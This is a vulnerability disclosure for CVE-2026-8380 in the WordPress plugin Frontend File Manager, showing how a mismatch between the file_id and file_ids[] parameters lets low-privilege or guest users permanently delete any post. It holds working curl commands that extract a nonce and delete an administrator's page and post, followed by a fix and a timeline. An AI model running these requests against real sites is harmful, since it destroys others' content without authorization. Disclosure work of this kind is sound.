
CVE-2026-8380
A critical authorization flaw was identified in the WordPress plugin Frontend File Manager (nmedia-user-file-uploader) affecting versions <= 23.6.
The vulnerability allows authenticated users with low privileges to permanently delete arbitrary WordPress posts, pages, attachments, and custom post types due to improper authorization validation in the AJAX deletion endpoint.
When the plugin option _allow_guest_upload=yes is enabled, the vulnerability becomes exploitable by unauthenticated attackers.
nmedia-user-file-uploader)The plugin contains a critical authorization bypass vulnerability that allows arbitrary deletion of WordPress content through parameter mismatch validation inside the wpfm_delete_file AJAX action.
The vulnerability was successfully validated in a controlled laboratory environment with active Proof-of-Concept exploitation.
Additional security weaknesses were also identified during the research:
_allow_guest_upload disabling authorization checks in multiple endpointsREMOTE_ADDRPOST /wp-admin/admin-ajax.php?action=wpfm_delete_file
inc/files.php
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
? array_map('intval', $_POST['file_ids']) : [];
foreach ($file_ids as $file_id) {
$file = new WPFM_File($file_id);
wp_delete_post($file_id, $bypass_trash);
}
The authorization check validates ownership using the singular parameter:
$_POST['file_id']
However, the actual deletion operation iterates over a different parameter:
$_POST['file_ids[]']
Because of this mismatch, an attacker can:
file_idfile_ids[]No validation exists to ensure:
file_ids[]post_typefile_id and file_ids[]As a result, arbitrary WordPress content can be permanently deleted.
An authenticated user with minimal privileges can permanently delete:
The deletion is performed with:
wp_delete_post($file_id, true);
Meaning content is permanently removed without Trash recovery.
If _allow_guest_upload=yes is enabled:
192.168.1.1:8080wpfm_sub : Sub@Test123
Page ID: 60
Post ID: 61
The attacker visits a page containing the shortcode:
[ffmwp]
Extract nonce:
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce
Response:
value="9c233d4720"
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
--data 'action=wpfm_delete_file' \
--data 'wpfm_ajax_nonce=9c233d4720' \
--data 'file_id=57' \
--data 'file_ids[]=60' \
--data 'file_ids[]=61'
| Parameter | Description |
|---|---|
file_id=57 | Subscriber-owned post used to bypass authorization |
file_ids[]=60 | Victim administrator page |
file_ids[]=61 | Victim administrator post |
{
"success": true,
"data": {
"message": "2 files, directories are removed inside SUB-OWNED"
}
}
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
404
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
404
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Validate ownership and post type for every entry inside file_ids[].
Example secure implementation:
foreach ($file_ids as $fid) {
if ( ! wpfm_is_current_user_post_author($fid) ) {
wp_send_json_error(...);
}
if ( get_post_type($fid) !== 'wpfm-files' ) {
wp_send_json_error(...);
}
}
| Event | Date |
|---|---|
| Vulnerability Discovered | 2026-05-28 |
| Vendor Contacted | 2026-05-28 |
| WPScan Published | 2026-06-04 |
| Public Disclosure | 2026-06-18 |
This research was performed in a controlled laboratory environment for educational and security research purposes only.
Do not test systems without proper authorization.